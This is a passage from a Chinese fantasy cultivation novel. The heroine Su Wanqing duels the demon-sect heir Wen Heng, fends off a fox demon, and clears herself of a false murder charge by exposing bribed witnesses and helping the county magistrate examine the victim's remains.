这个傀儡的身躯渐渐壮大,它的瞳孔逐渐转为绿色,完好的脸颊开始皲裂,长在脸上的黑纹迅速地扩散,最后整张脸遍布千丝黑色纹路。
打斗过程中,裴忆锦的法器被丢到一旁,又受了重重一掌,眼见傀儡就要咬下忆锦的脖颈,这时苏晚清操控忆锦的剑,刺中了它的天灵盖。
她将傀儡定在原处,离火自她掌间涌出,燃向傀儡,重重爝火越来越烈,最终将其烧为灰烬……归于尘埃之后,苏晚清连忙去扶起裴忆锦。
“小锦,没事吧。”她能感觉到裴忆锦的手心正在冒汗,未等她出言安慰,下一刻裴忆锦便甩开了她搀扶的手,自顾靠在一旁的石柱上,喘着大气,默默将头低下,沉默不语。
大抵是因她前日的话,生了嫌隙。
无妨,她并未后悔。她瞧了一眼裴忆锦,提步欲走,身后却传来裴忆锦的声音:“师姐,我无事,休息片刻就好了。师姐……我有一言,陆公子真的不似师姐说的那般,他真的是个好人。”
苏晚清转身面对,并未反驳小锦的话,只是理解般地点了点头,微笑了一下,道:“我并非有意阻止。你若是喜欢,遵从内心所想便好。”说罢,她确认裴忆锦无事后便先过去帮忙。
她与燕寒舟为长老护法,连同清风明月派的相干弟子竭尽全力救治中毒的村民。
足足花了三日才将所有的事务解决完毕,她看着被堆积在草木村火场的一具具尸体,长老举着火把,丢进积累成山的尸体,空气里满是火焰燃烧的气息与哭泣而产生的悲恸交织。
“天魔宗实在可恶,我要去杀了他们!”一名年幼不过十五的弟子哭得很伤心,内心的念头牵引着他的思绪,他拔剑就要往外面冲去。
青龙峰的拢月长老拦了他的去路,训斥道:“回去!现在已无你们的事,都回去吧。”
所有弟子接连离开草木村,最后只余苏晚清与拢月长老两人,燕寒舟逆流而来手中拿着她的法器——瑶光镜,说是司马如意让他代为转交。
她并不打算与他们一起回去。
燕寒舟知道,也不打算挽留,交代了她寥寥几语便也跟着回山了。
“真不和我们一起回山?苏家之事牵连甚广,上至仙派,下至朝堂,就算能查,也暴露了你的身份。”
她知道拢月长老是好心,但她更想亲自动手,依旧选择婉拒了长老的提议。
拢月长老见状,也不强求,只是嘱咐她一切小心,务必避开天魔宗。
“长老之意,晚清定铭记于心,绝不相忘。”苏晚清的眼中谢意流转,挥洒而出,她拱手,语气中满是诚恳之前,道。
她是离弦之箭,一旦离弦,绝不回头。
*
苏晚清站在一处远山,眺望两岸耸立的青山,自在傲然,见羲和藏在云边,云层慢慢晕染出红色霞光,将这天浸得红了脸。
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玄鸟一声叫唤,寻着她的气息落下在她的肩膀上,它跳了几下才安静下来,将绑了信的腿伸到苏晚清的下巴,抖了几下,貌似在示意她快些取信。
莫不是有新发现的线索?
她心中有些许期待信中的内容,取走信后,玄鸟围着她转了几圈便飞离了高山,驶向远方。
苏晚清的眼眸逐渐黯淡,很显然,这并不是她期许已久的消息……不过,也是件重要的事情,眼下先将温衡放在一边,先去瞧瞧这个麻烦之人罢。
微风过境,卷起地面两三片金黄的枯叶。只见女子踏上透明之剑,两指微微蜷缩向前,迅疾般涌向对岸。不出半刻,便已顿失踪影,无处可寻。
在她离去之后,温衡从一旁的古树坠下,若有所思地追寻那道身影,唇上勾起一丝不明深意的笑容。
苏晚清,再会。
……
抵达山阳时已是深夜,月明星稀,安静的氛围扩充着这里的环境,她来时向一位年迈的老妇人买了盏看上去挺明亮的灯笼,它照在昏暗的地面,不至于眼前一片黑暗。
走至清水居门前,除了门槛上悬挂的灯笼依旧明晰之外,全无一丝光亮传来。她不禁有些诧异,心中断然涌来一种不祥的预感。尤其里面更是万籁俱寂,半点人声也没有。
苏晚清记得走时明明交代过未到子时不可闭灯,此刻也不过戌时,着实有些可疑。
她上前敲门,无人应答。
思量过后,她一剑将门劈开,一道阴风猛烈地吹向她的脸上,忽有什么东西砸了下来,她察觉后立即躲开,原是狸猫爬时不小心踩坏了瓦块,才致使瓦块分裂砸在了地上。
不知为何,她总觉得有个东西一直在暗处盯着自己。
她刚松下一口气,心中就莫名地不安,等她再踏出一步,黑暗笼罩着的房间登然显现出几只箭,来得凶猛而迅疾。
纤腰弯下,躲了利箭,不知房中是否有人,她不敢将箭原路驱回,只是顺势将化为虚无。
不等她反应,黑影闪了几下,不动声色地来到她的身旁,在掐住她脖子的那一刻挥手将这里的灯都点燃。
当光吞噬掉所有黑暗,苏晚清也看清楚了来人是谁。她没有抵抗,反而是挑衅般地看着男子,开口道:“温衡,你把他们怎么样了?”
温衡不满意她的问题,换了把短刀抵在那因日晒而显得有几分暗淡的脖颈,温热的呼吸低洒在她的耳畔:“大难临头也不忘关心那些无关紧要之人,苏晚清,你这个不守信用的女子。”
苏晚清闻言,抬了抬眸,又往尖锐的短刀靠近了些许,刚一触及,那物竟离她又远了一点。
她心中一喜,看来这几日自己待他的好还是占了一些作用,她道:“怎么不杀我?我就喜欢怜香惜玉的男子,温公子只身前来,只是来兴师问罪吗?如你所愿,柳明峰已死,你还有什么不满意的?”
看样子,他们应该没事。
“这些凡人还不配我动手,昏睡几炷香罢了。柳明峰本该死于我手,谁让你自作主张替他挡的?苏晚清,你总是那么自以为是。”
显然,温衡生气的并不是这一点,他明明可以亲手杀了柳明峰,却被这个女子挡下,他都已经不需要苏晚清亲自动手了,为何还要碍事?
苏晚清见他没有要杀她的意思,径直推开了他的短刀,顺道夺了过来,刺在远处的木桩上。
如今事情正在朝着她所预想那样进行着,她也是个诚实守信之人,按照约定,她还要将昆玉剑交还予他。
连带着被去除魔性的魔音箫也一并递给他。
“东西已经给你,愿温公子礼尚往来,遵守约定。”她看着黑夜中的白衣男子,这身衣服真是一点也衬他,瞧着着实碍眼。
他拿在手中,感应法器传来的力量,与从前不同的是用来的力量不再是汹涌强烈而加重杀戮欲望,而是飘似云端彩霞,山间清泉般清新。
玄色灵剑任他驱使,幻化出三十六把副剑袭向苏晚清,她点地而起,只见地面矗立的石柱经他使力,已经被摧毁成无数齑粉。
他想起从前的传闻,眼里又多了几分兴趣,手执昆玉,指着苏晚清道:
“早就听闻清风明月的苏晚清是天纵奇才,今日我就来讨教一下,看看是你苏晚清更胜一筹,还是我技高一筹?”
23. 城里有妖
闻他言,苏晚清也道:“我也听闻天魔宗的少主温衡,是位能人,我正好也想与你堂堂正正地比试一场。不过,既是比试,就得有赌注。我若赢了,还请温公子履行承诺;输了,就任凭你处置。”
“除了凌霄,还没有人能胜我。”若不是清风明月派的凌霄趁机夺取了他的命剑,他何愁无法器傍身,那些夺来的法器终究不是自己的,用着不顺手。
她也从未失手,面对男子的话同样毫不逊色地道:“那么今日将会多一个名为苏晚清的女子。”
苏晚清召出憾山剑,层层灵力自她周身萦绕,她奋力接下男子的一剑,借力往上一踢,正巧踢在了他的昆玉剑上。
他作势落下一击,苏晚清加重力道,以回旋之力于空中翻了一下后落在地面。袭来的黑色长剑直冲她的心口而来,她滑跪躲过,点地而起,反手执剑刺去。
两剑相碰,玄、朱色气息相互缠绕与吞噬,引得四周的风撕扯着散落的树叶,盘旋于他二人之间。偌大的灵力将温衡逼退至清水居的清水湖,他显然有些吃力,依旧支撑着,不松手。
忽然在此时,他召起另外的法器——箜篌引,另外一只手暗暗施法,弹动其中之弦,弹出的乐章化作利刃直击苏晚清。
月色朦胧之下,两人的剑碰撞得火花四溅,他们皆朝两方后移,两处湖水迸发向上,洒向对方。
微冷的湖水洒在身上,加深了夜的寒冷,两人不约而同地挥袖,除去了一些碍事的麻烦。
“暗箭伤人,这可是下作小人的行径。”正当苏晚清打算毁了他的箜篌引,却发现他收了回去,转而笑道:“我从来都不是正人君子,若能赢,我可以不择手段。”
苏晚清听到他的话也表示附和,笑意浅浅,眼底流露出真挚之色:“巧了,我也可以为了我的目的不择手段,这一点,我与温公子不谋而合。”
两人旗鼓相当,难分伯仲。
苏晚清绝不会让他有赢的机会,纵使是两败俱伤。她默念咒语,召出瑶光镜,金色的光芒倒映在湖色里,三千光刃拢聚成剑,袭向温衡。
温衡转了转手中之剑,融于剑身,穿透而过,却在即将抵达她身旁时被憾山剑挡住,逼退了几步,他悬于长空,挥剑向湖面。
水起涟漪,泛滥而来,隆起巨大的水柱,听他号令,尽数与那光束相互抵抗。
这时,岸边忽然传来一声听上去极为担忧的声音:“苏姐姐,苏姐姐,唔唔唔——”
声音化为呜咽,苏晚清循声而去,却见阮长言被柳宿眠掐住脖子,提了起来,他的双腿离了地面,不断地挣扎着。
“苏晚清,你是要他死还是活?”柳宿眠一袭红衣在月色显得格外地煞眼,这样美丽的女子一心只想杀戮,着实难捱。
眼见柳宿眠的力道加重了许多,阮长言吃痛地叫了起来,依旧在挣扎。
“苏晚清,只要你现在自封灵力,我就考虑放了这个孩子,否则——我就杀了他!”
她担忧地看过去,又转过身瞪着温衡,被瞪的男子摊了摊手,表示与自己无关。
“放了他,我答应你的要求。”苏晚清观察两人的动静,只须四息,她便有机会。
温衡看向底下,抱着看热闹不嫌事大的心态,道:“对,就这么做。”
“姓温的,你与这妖女勾结,戕害我兄长,真是该死。等我收拾苏晚清,就来收拾你。”
借着温衡与柳宿眠交谈之际,她一剑划过温衡的头顶,踢在他的腰间,借以力量瞬间来到柳宿眠的身侧,夺取武器,一掌击中了左护法的胸膛。
阮长言被她护在身后,小心翼翼地拉着她的衣角,不敢探出头来,过了一会儿才敢直视。
苏晚清不给柳宿眠反应的机会,光圈化作桎梏将其禁锢在内,透明的剑正欲刺中其人,关键之际温衡出手将其阻拦,耳畔闻来他的声音:“宿眠,你不是她的对手。”
“你助我一起杀了苏晚清!事成之后,功劳归你。”柳宿眠倒在地上,看着男子的剑挡在苏晚清的剑,以为他们是殊途同归,可温衡接下来的话却让她大吃一惊。
温衡现在并不想要她的性命,拦下苏晚清的攻击对着柳宿眠道:“她现在还不能死。我还有用。”
苏晚清白了他一眼,正欲动手,柳宿眠突然将攻击转向身后的阮长言,趁机逃离了清水居。
“她是妖?什么妖?”她站在阮长言旁边,替其检查是否受伤,探了脉才肯放下心来,也不追溯柳宿眠的去踪。
她的问题,还真是独具一格。
温衡同她一起收了法器,于她身后,打趣道:“如你一般的狐狸精。你要更高一筹。”他的语气听起来还有几分轻佻,听来着实不爽。
“如我?此话何意?”苏晚清看着姗姗来迟的侍女,吩咐其将阮长言带下去休息,顺道将几张灵符交给他们,以便可不受妖邪侵扰。
她忽然靠近他,语中多了一丝意味:“温公子道心不稳,便不要将自己的欲望强加在我的身上。”
“现在,不会有人来打扰你我了。”
话音刚落,他的剑再次靠在了她的肩膀上,男子爽朗的笑声经风传入耳中,不等他反应,苏晚清将他的剑握在手里,汇集灵力于掌心,灵力连带血气一齐袭向了他。
她的鲜血有增强灵力的功效,温衡虽然已经反应过来,但也挨不下苏晚清的第二道攻势。
她将他逼退至湖岸。
一击,迅速将人击入湖中。
温衡在落入湖中之前,反手扣住她的衣角,将她一起拉了下去。
两道人影一前一后扑蹬地落了湖中倒映的月色中,平静的水掀起波浪,掀起一层又一层的涟漪,从岸上来看,已经能看到水中两人交手的动作。
一直持续了半个时辰,以女子为胜,先一步冲出湖面,扬起的水渍落在花草,沾了水汽。
苏晚清一挥手,将平静了半刻的湖水炸开,水花迸溅而来,男子亦衣衫湿透自湖底上来,故意站在她的眼前,又是泼了苏晚清一脸冷水。
她擦了擦脸,后退一步,也以其人之道反制其人之身,泼了回去。
“试出来了吗?”她突然开口道。
温衡被她问得一懵,“什么?”
苏晚清道:“你特意寻我麻烦,不就是为了逼我使出释天诀的灵力吗?”
他的眼里多了几分兴趣,他道:“你很聪明,苏晚清。我只负责试探,剩下的不归我管。”
“无妨,纵使是你,也未必赢得了我。”她本就是故意暴露的,那些东西不过身外之物,能引出藏在暗处的人最好。
温衡的话停在嘴边,不知是气笑的还是怎么的,也未见生气。
他提起浸湿的衣袖,再次甩了一下,那副眼神仿佛在挑衅般,他说道:“未必,我的秘密怎么会知道?”
苏晚清立即施法将他们湿透了的衣服熏干,道:“你能知道我从前做了什么,我亦能知晓你做了什么。”
言尽于此,他没有要走的意思。
“装神弄鬼。”
想到此,苏晚清道:“装神弄鬼也好,光明磊落也罢,只要结果是我想要的,过程都不重要。”
“这一点我们倒是心意相通。”
苏晚清自诩能够打得过他,也不必卑躬屈膝,该如何便如何。
也罢,他也不是个喜欢勉强之人,他定下时间地点,要苏晚清准时抵达,若差一分一毫都算她违约。
在他离去之际,苏晚清还是将心中的疑问道出:“温衡,你到底想做什么?你为何会答应我的要求?”
“想做的事情多了。明日戌时,鬼城如意楼天字一号,不见不散。”
温衡的声音落在风中,徐徐传入她的耳中,待她想再询问却已不见男子的身影。
之前的研究有误,她得回去将关于温衡的那一页修改,看来传闻也非真实,诸多事实有待探寻调查。
夜中的寂静再次使她冷静下来,脑海里关于温衡的思考逐渐减少,转由逃离的柳宿眠代替。
她还是不放心柳宿眠。
柳宿眠已经身受重伤,难保不会对百姓下手,她得在山阳县好好巡视一番。
事不宜迟。
行动始于心动,她站在门外,念着咒语,若手掌大的铜镜从她的眉间出现,被苏晚清送到了清水居的悬空上方,连接着四周的结界。
这样一来,无论是妖邪还是修士,都不可踏入清水居,长言他们也能睡个安稳的觉。
除了东巷有几丝柳宿眠残留的气息外,并无任何发现,她走近气息最为明显的屋子前,里面灯火葳蕤,时不时传来几声嬉笑打闹的声音。
她上前敲了敲门,回应她的是一阵沉默,她耐着心子又敲了一下,正当她准备破门而入时,店家一脸不耐烦地开了门。
那一刻,苏晚清眼中的厌恶瞬间袭来,这张脸是她不想看到的,也是在她心中如此丑恶的人。
店主一瞧是她,轻哼出声,那双不怀好意的眼睛上下打量着苏晚清,她威胁似的瞪了其人几眼,道明来意:“杨老板,你的眼睛再四处乱看,我就剜了它。你家中可有异样的地方?”
这个人是杨焕,杀她恩人的罪魁祸首,至今未得到应有的报应,这等罪大恶极的孽由他的夫人代为承受,当真是世风日下。
若不是恩人临终前曾留下一封信,要留杨焕一条性命,否则无论如何她都不会让杨焕好好活着。
被女子这么瞪着,杨焕也有几分畏惧,他眼睛一转,几乎是脱口而出:“不知道不知道。有多远走多远。走走走,别碍事。”
柳宿眠的气息明明就在此处她的探息不会有误,她的视线落在杨焕的身后,正欲走入内,出于对百姓的安危着想,苏晚清不能不防,她道:“既然无事,你杨老板可否请我进去坐坐?”
杨焕只想赶紧将她打发走,没等她踏出一步,推了她一把,立即将门给关上了,那声音在苏晚清听来无比急促:“滚,别来找事。我是看在沈兄与嫂子的份上才不与你计较,有多远滚多远,别来烦我。”
苏晚清站在原地,思量几下,自下而上,踏过屋顶,径直来了内院。
两掌相对,四五张符咒自发贴在四方,隐隐约约有细线将它们牵连,等杨焕关了门来到后院瞧见苏晚清的身影,更是气急败坏地指着她走过来:“苏晚清,你擅闯民宅,我要去告官!”
苏晚清一个狠厉的眼神袭来,直接将其震慑住,她在这里查了半炷香,也没有发现任何可疑的地方。
不过在检查他房间时发现了零散的女子亵衣,有一些被撕碎,弄得四处皆是星碎的衣服碎片,她拿着地上的碎片,嗅了一下——不是柳宿眠留下的,只有这里青楼女子用过遗留的胭脂水粉味。
欢爱的气息格外浓烈,苏晚清生理心理有些不适。
杨焕一脸嫌弃地看着苏晚清,心里觉得她真是重口味,联想
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到苏晚清的意图,又在暗自窃贼道:“阿凝,还说你对兄长没存别的心思,口是心非,正好你嫂子离世已久,你愿不愿意嫁我,我这里有……你!”
他的话刚刚落下,苏晚清的憾山自动锁定他,勾着杨焕的脖颈,苏晚清冷冷的话落在他的耳中:“我为除妖而来,不为别的。”
“我知道,女儿家都是脸皮薄的,阿凝每次路过这里都会偷偷看我,还说不是喜欢我?”
他哪来的自信?真当自己是潘安了。
憾山这才在他的肩颈划下一横,苏晚清见状赶紧收回了剑,回他以睥睨的眼神。
她道:“杨老板,你别自作多情了。我们之间的恩怨未了,我希望杨老板可以藏好,毕竟现在已经没有杨夫人再替你顶罪。”
话竟也能被人说得如此肮脏,苏晚清观这里也妖气顿无,县中百姓的安危系在她的身上,她不能在此逗留太久。
“符咒可拦妖邪,杨老板若是惜命,就好好待在里面。”
眼见无事,她便离开这令她感到十分不爽的地方,继续前往下一处地方调查。
林林总总花了她两个时辰,山阳的百姓少说也有八万户,起初她还能一家一家地搜寻,这样下来花费的时间实在太多,她只能借憾山一剑,令它执行贴符一事,而她则探息并隐去灵符的存在,以防百姓晨起时见到家中莫名多了几张黄符而惊慌失措。
今夜无收获,并没有柳宿眠的身影。至少她可以暂护百姓安危。
她终于可以小憩了,她推开房门躺在离开已久的爱床,翻了几下,摘下发簪,褪去外衣。
盖上柔软的被褥,终是阖上了双眼,忙碌了许久,可算能歇息了。
*
次日一早,女子睁开双眼,瞧了一眼刻漏,已是巳时。
从前都是辰时起,今日倒是晚了一些。她换好衣物,洗漱过后推开房门,想着先走走,散散困意。
走到院子外。
院子里传来一声唉声叹息,紧接着是瓷器脆裂砸地的声音,她推开门,走了进去。
十三岁少年的脸在日光的照射下涨红了许多,眼神满是幽怨,仿佛下一刻,阮长言就要止不住内心的情绪。
她的目光从他的身上移开,落在一片狼藉的地面——被撕了几篇的书、破碎的杯盏、笔墨纸砚以及几张看上去歪八扭七的灵符。
她轻声道:“怎么了?”
阮长言瞧见苏晚清,就像涸辙之鲋有了希望般,猛地冲过来抱着她,眼中的泪花泛起涟漪,滴落在她的裙角。
“苏姐姐,我是天下最蠢最笨的人,什么都学不会,什么都听不懂,我保护不了姐姐,也保护不了苏姐姐……我是不是一点天赋都没有?”
苏晚清像个长辈一样,轻轻拍着他的背,愿能予他安稳,任他哭泣,也不责备。
等他缓解过后,松开了苏晚清,一脸赧颜地看着她,真切地等着她给的回应。
“先将这里收拾好,我再告知你。”
少年的脾气来得快,去得也快。两三下便将狼藉去除,还于此地一片干净。
“长言,你可知道?我也不是个有天赋之人,苏姐姐如今的灵力是苦修了十三年才铸就的。我不似大师兄那般天赋异禀,每一步都只能练三日四日,其他弟子只须一日便可练会。你要相信,天赋很重要,但努力也可胜过天赋。”
她抚着阮长言的脑袋,语中也不由得深沉了许多,回望初入清风明月山时,她也曾陷入阮长言现今的困境,那时她一度陷入惆怅、甚至想过靠死亡来解脱。
可后来,师尊点醒了她,若是有毅力与决心,何愁不能实现心中所愿。
阮长言感觉心里好受了一点,但脸上仍然挂着焉气,迟疑地开口:“苏姐姐,纵使我现在平平无奇,真的也可以像你一样厉害吗?”
女子忽然起身,离开了这个地方,过了一会儿拿着一本厚重的书籍过来,放在他的面前,道:“当然可以。这是我十三年来修炼的心得,现在赠你。切记,冰冻三尺非一日之寒,不可三天打鱼,两天晒网。”
她的话落在了阮长言的心中,他沉默了一会儿,似在思考着什么。下一刻,他忽然跪在地上,磕了三个响头,欣喜地喊道:“师父在上,请受徒儿一拜。”
接着,他拿着石桌上的茶,双手奉上。
“苏姐姐,我一早便想拜你为师了,我想成为如苏姐姐一般厉害的人物,能做己事,不问他人言。我不怕苏姐姐的仇家追杀,姐姐已死,我再无眷恋。苏姐姐,你答应我吧。”
他眼中的殷殷期待,如星辰闪亮,拒绝了怕是得让他难过。她笑了一下,接过阮长言递过来的茶,扶他起身,道:“既拜了师,唤声师父来听听。”
阮长言闻言抬头,笑容如花绽放,立即道:“师父!师父!师父!”连唤了好几声。
“嗯,我对徒弟的要求极高,你若懈怠,我必重罚。”她放下狠话,也仅是狠话而已。
阮长言知她脾气,附和道:“知道了,师父。师父饿不饿?弟子去给你端来饭菜。”
她抬手,表示不用,自己想再多走走,阮长言听后也要与她一起,之前未发现这少年竟如此粘人。
刚走了几步,清水居门外便迎来了敲门声,侍女去开时,一列官府的人冲了进来,为首的人是知县叶远山。
“苏晚清,有人报案,说你昨夜潜进杨庄布料里杀害了杨焕,随我回趟衙门吧。”
24. 杨焕死了
杨焕死了?
虽说他死是应该的,但也不应该是这样的死法。
身后的阮长言一听他们要将苏晚清带走,急得顾不了其他,赶紧拦在她的面前,冲叶远山喊道:“我师父才不会乱杀人,你不要以为你是县官大人就能随意污蔑。”
苏晚清将阮长言拉到身后,轻声道:“长言,不得无礼。叶大人清正廉洁,定不会冤枉了我。你就在家里安心等我,若我未归,你也须看我给你的书和耐心听先生的话。”
他迟迟不肯放手,死死地拉着她的衣角,怕苏晚清像他的姐姐一样,一去不复返……当日,便是姐姐将他支开,自己在房中自尽了。
叶远山有些不明所以,赶紧解释道:“苏姑娘,你这小弟子还挺忠心。你大可放心,若是确认苏姑娘无罪,我亲自将她送回来。”
侍女将长言领了回去。
他们走了一条偏僻的地方,特意避开了热闹的群众居所,跟着的随从常伴他们左右,一则是护叶知县无虞;二则是怕苏晚清趁机逃走。
逃,他们也拦不住。
叶远山衣冠楚楚,身着便服,颇有丰神俊朗之姿,眉眼带有精明与温润之气。他微微偏了一下头,视线落在苏晚清的脸上,迟疑了半晌,才开口道:“苏姑娘,我相信你的为人,能否解释一下你昨夜的去向?”
也是,这事也没有什么好瞒的。
她察觉叶远山的目光,转过来与他对视,但他却在她转头的那一刻移开了自己的视线,看向前方,听着她的话:“昨夜有妖狐夜袭清水居,我追了出去,不巧在杨氏布庄感知到妖的气息,便入了内院,设下灵符在内,以保杨老板性命。”
“之后呢?”叶远山不禁问道。
她顿了一下,道:“妖害人之事发生过不少,我担忧其余百姓受伤,便巡视了遍山阳,除此之外,别无其他。敢问叶大人,杨焕是在何处被发现的?”
照理说,妖无法撕下驱妖的灵符,只有两种可能:一是妖撺掇人撕下符,没了桎梏,便无后顾之忧;二为将人引出遮蔽的地方,徐徐诱之,也可达成目的。
叶远山摆手,让随从先行离去,随后就说:“南郊。那块地已荒废许久,百姓几乎不会到那去,今早是一位衣着华丽的姑娘前来报案。”
那姑娘……莫不是柳宿眠?
她道:“额间是否配有牡丹花钿?”
“有。”
“手上可有伤?”
“有。”叶远山仔细想了一下,晨起那会儿他听属下来报有位女子敲击鼓,说要报案。
那女子在报案过程中不慎晕倒在他的怀里,他的余光瞥到女子轻纱下渗出鲜血的手臂,正打算询问是否需要包扎,怎料女子一下子就把他推开了,笑看着他,手中的帕子划在他的脸上,奇香散开,沁入鼻间,似有让人上瘾的效果。
他的脸色骤变,幸是师爷赶到,将他唤醒,他摇了摇头,这才清醒过来。
女子朱唇轻启,才说了要报案的事与人。
“为何不让她留下?”苏晚清心里有了点想法,还须得到验证。
但叶远山给的答案是——当时他们不知怎的,迷迷糊糊地让那位姑娘离开了,等再缓过来时已经寻不到了报案姑娘的身影。
“苏姑娘,这有什么——”叶远山一回头就看着苏晚清在比划着什么,食指与中指并伸,貌似在画符。
她划过之地有金色的痕迹留下,待她结束后,金光连接成符,毫无预兆地进入他的眉心。
他差点站不稳。
顷刻,一阵黑气自他的身体散发而出,苏晚清挥手将其掐灭,毁在此刻。
“这,这是什么?”叶远山不可置信地看着苏晚清做完所有的动作,心里默然也察觉到了什么异样。
苏晚清直言不讳道:“魅术。今早大人见到的姑娘应该是狐妖所化,她应当是盯上了大人,但没有机会动手。”
“狐妖怎么会盯上百姓?它们不是应该在深山修炼,早日得道成仙?”这有点匪夷所思,他没见过真正的妖,纵使家里挂了幅很多驱除妖鬼的钟馗画像,以及他的腰间也配上了驱邪三宝之一的司南佩,他依旧不太相信妖的存在。
这些,大抵都是母亲要求的,怕他沾染邪气。
“并非所有妖都向往得道成仙,且所行之法亦不尽是本分修炼,更多的小妖劣根未除,初入人世,妄想捷径窘步,走入万劫不复之地后想独善其身为时已晚,错已铸成,理应受天道惩罚。”
她做除妖师的那几年,遇到的妖怪各具特色,其中不乏天真烂漫的小妖或是罪恶滔天的大妖。
他们仔细查了杨焕的尸体,一开始看不出有何异样,直到尸体抬到衙门两个时辰后就开始腐烂。
也正是仵作验尸之后溃烂,人死之后的几个时辰之内并不会产生腐臭,但杨焕的尸体却在那之后发臭发烂,最后褪去血肉,只余一堆白骨。
据仵作来报,杨焕死于今日丑时,
“她来报案,是为了挑衅。”
因为是在苏晚清的眼皮子底下发生的命案,堂堂清风明月凌霄掌门的得意门徒竟失察,害得无辜百姓惨死——虽然杨焕并非无辜,但也不该死在柳宿眠的手上。
叶远山道:“这只是苏姑娘的一面之词,本官也不能徇私枉法,按照律法,苏姑娘还是得与我回趟衙门再做定夺。”
苏晚清既然打算来了,就没想着回去。
*
县衙里面一阵喧闹,不知何时涌来了十多个百姓,嘴里嚷嚷着要为杨老板报仇,求叶远山主持公道。
平日里不见他们与杨焕有多亲近,这会儿倒是在这里装起了情深义重。
一样的路数,不同之人。
起初苏晚清想过与他们当面对质,但百姓人多势众,根本不肯听她辩解,纷纷求叶远山重罚。
衙门堆了许多人,叶远山一声呵斥,摆出那副极有威严的官架子,道:“你们的诉求本官已经了解,但凡事都要讲求证据。苏姑娘是否包藏祸心,本官自会查明真相。”
但奈何百姓知道叶远山的性子,竟也不惧,一如既往地提出要求。苏晚清本来不想揭穿他们,若任由他们肆意非为,恐生了其他变数。
她的目光一下子就落在站在最前面的百姓,勾勾手指,将其人怀中藏着的的钱财击落在地。
刚好,钱袋砸到地上,露出诸多白花花的银两,其中还掉出一块黄金。
看得人霎时惊异,也是羡慕极了。
后面,身后之人的钱财也不约而同地掉落在地,众人一阵赧颜,一时之间不知说些什么好。
“我记得林大夫家中贫瘠,何时多了这么多钱?”她忽然转身,对着叶远山道:“大人,民女记得本朝律法是‘私收贿赂作伪证是要被处以丈刑,甚至死刑不等’。”
叶远山当即就明白了她的意思,附和道:“以私收贿赂银两量刑,本官问你们,是受何人指使?如实禀告,交纳相关赋税,本官便不予追究了。”
在施压下,百姓也不敢有隐瞒,当即就招了,说是一位看着衣着华贵的男子找到他们,出了大量的钱财,只要他们出面指认苏晚清,就给他们钱。
他们拿到的只是定金。
公子?
柳宿眠所化?
又或者……她心里莫名出现一个人的名字,除了这个人,她想不到何人如此恶劣。
叶远山知道这些百姓都是贫困之人,也征得了苏晚清的同意,让其交了一定赋税便放他们离开了。
他们来到专门停放尸体的义庄。
“苏姑娘怎么知道他们收了钱?”当时他还真不知道要如何做,毕竟众口铄金,两舌难敌四方,加之他又是个软性子。
她的目光渐渐移到那一具具尸体,随后定格在已化作枯骨的杨焕,她道:“杨焕前脚刚死,就有狐妖去县衙报案,随后百姓前来指认,无非就是让我将罪名做实。可他们却低估了百姓对钱财的重视——天下攘攘,皆为利往,没有谁会莫名其妙地站出来,除非有利可图。”
她的意思很明确,叶远山明白了许多,接着她的话道:“百姓爱财,放在何处都不放心,也没时间安置,只能带在身上。”
“林大夫家有悍妻,他不敢放在家中,医馆也人多眼杂,此刻他只能带在身上。”苏晚清最终确定的线索是百姓中有人道出一句话——林大夫,我们可得好好做,有
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不少钱呢。
她的耳力自诩不差,当即就扑捉到了这个重要的信息。换句话说,祸从口出,也可喜从口来。
叶远山听后,眼中不由得多了几分欣赏的意味,但更多的还是忧心忡忡,他道:“苏姑娘睿智,知道如何破局。眼下狐妖逃窜,我等凡人之躯,定然难将其捉拿归案。我有一个不情之请,不知苏姑娘能否答应?”
不用猜测,便知道他所求何事。
苏晚清嘴唇翕动,正欲开口。
门外倏忽冲来一道身影,挡在他们两人面前,是之前验尸的老仵作。他的青丝已经斑白,须、髭凌乱,给人一种不修边幅的感觉。
他们默然,未去打扰老仵作,只见其用布包裹着的手拿起杨焕的骨头嗅了一嗅,放在床案上,敲了一下。
不敲还好,一敲便出现了变故。老仵作置若罔闻,平静地拿着镊子夹起蝶骨处的小黑块。
一股浑浊之气自其间焕发而出,朝着他们这个方向袭来。苏晚清连忙推开叶远山,画出屏障将其阻隔在外,徒手捉住那抹浊气,装入从乾坤袋拿出的小瓶。
老仵作特意将物转了圈,安抚他们道:“别怕,此物无毒。”说着伸到空中,黑黢黢的物什,扁扁的,若被压平的尖锐物。
“这是何物?”危险解除,叶远山凑上去来看,一阵恶臭直涌鼻腔,“唔……”
顾不得是否失仪或是无礼,他连忙跑到旁边吐。
……苏晚清瞟了他一眼,将散着臭气的东西推了回去,迈步走到老仵作的身旁,忍着说道:“莫非杨焕致死之物就是它?”
“正是。”这么一小块东西就能致人死亡,苏晚清以为是柳宿眠动的手,毕竟这个人从来都喜欢草菅人命。
叶远山休整好了后立即加入他们,捂着鼻子问道:“这是何物?”刚想去碰,老仵作一慌,连连将其转向苏晚清。
老仵作语重心长地道:“它叫化骨散,活人若服用,死后两个时辰身体血肉立即消化,再过一个时辰,连骨头都不剩。千万不能碰,一旦碰了毒素就会蔓延。”
何时又出了一个这么厉害的毒物?
她实在不解,问道:“这东西在哪里能找到?”
据老仵作所说的话,明面上肯定没有,只有到山阳地下交易场所——鬼城才有机会购买此物,官府三令五申不准贩卖毒物,但还是有百姓铤而走险,更有甚者,联合修行之人行此恶事。
杨焕平日得罪的人不少,但由于卖的布料品质极佳,很多人也就忍了下去。叶远山派了人去询问街坊邻居,在一家家探访之后,在杨家隔壁的老寡妇得到了有用的线索。
老寡妇一提起杨焕,那叫一个生气,更是羞耻,“哎哟,要老身说,昨日隔壁那动静可不小勒,没脸没皮的从青天白日开始造作,羞死我老寡妇了。”
两人面面相觑,叶远山听其描述,脸上也不由得一红,多少还是未经人事的男子。过后,叶远山先她一步,问:“子时之后,他有没有什么反常?”
老寡妇仔细一想,道:“有个姑娘来了,后面就没有声音了,再到后面杨焕好像嘀嘀咕咕的说些什么话,开门出去就没再回来。”
“你确定那位来的走之后杨焕还活着?”叶远山问道。
老寡妇停顿了一下,郑重地点头:“确定。老身别的不行,最会听墙角了。”
叶远山示意身后的手下将老寡妇带回衙门做口供。他们并肩走在街上,叶远山想起老寡妇提到的女子,“那位女子有无可能是狐妖?”
“不是,她说自我到了之后声音才止息,在这之前我会过柳宿眠,应当非她。”
苏晚清还在思考,腹中空空,忽然发出一阵咕咕声,她尴尬地笑了笑。
“苏姑娘的嫌疑已除,眼下查了些时辰,正好我也有些饥饿。冒昧一言,不知我是否有幸请姑娘一起?”
